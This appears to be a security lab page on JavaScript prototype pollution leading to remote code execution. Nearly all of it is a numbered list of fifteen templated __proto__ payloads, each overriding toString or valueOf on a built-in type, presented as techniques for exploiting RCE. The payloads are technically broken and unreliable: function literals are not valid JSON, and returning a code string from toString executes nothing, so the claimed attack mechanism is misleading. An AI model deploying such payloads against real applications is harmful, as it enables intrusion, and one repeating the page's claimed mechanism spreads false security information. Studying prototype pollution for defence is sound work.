Difficulty: High
Lab Overview
This lab demonstrates prototype pollution vulnerabilities that can lead to Remote Code Execution (RCE). These attacks exploit prototype pollution to modify function prototypes and execute arbitrary code.
Objective: Understand how prototype pollution can lead to RCE and how to exploit these vulnerabilities.
RCE Prototype Pollution Examples
Use these techniques to exploit RCE prototype pollution vulnerabilities:
1. Function toString() RCE:
{
"__proto__": {
"constructor": {
"prototype": {
"toString": function() {
return "console.log('RCE via Function.toString()!')";
}
}
}
}
}
2. Function valueOf() RCE:
{
"__proto__": {
"constructor": {
"prototype": {
"valueOf": function() {
return "console.log('RCE via Function.valueOf()!')";
}
}
}
}
}
3. Array toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Array.toString()!')";
}
}
}
4. Object toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Object.toString()!')";
}
}
}
5. Date toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Date.toString()!')";
}
}
}
6. String toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via String.toString()!')";
}
}
}
7. Number toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Number.toString()!')";
}
}
}
8. Boolean toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Boolean.toString()!')";
}
}
}
9. RegExp toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via RegExp.toString()!')";
}
}
}
10. Error toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Error.toString()!')";
}
}
}
11. Promise toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Promise.toString()!')";
}
}
}
12. Map toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Map.toString()!')";
}
}
}
13. Set toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via Set.toString()!')";
}
}
}
14. WeakMap toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via WeakMap.toString()!')";
}
}
}
15. WeakSet toString() RCE:
{
"__proto__": {
"toString": function() {
return "console.log('RCE via WeakSet.toString()!')";
}
}
}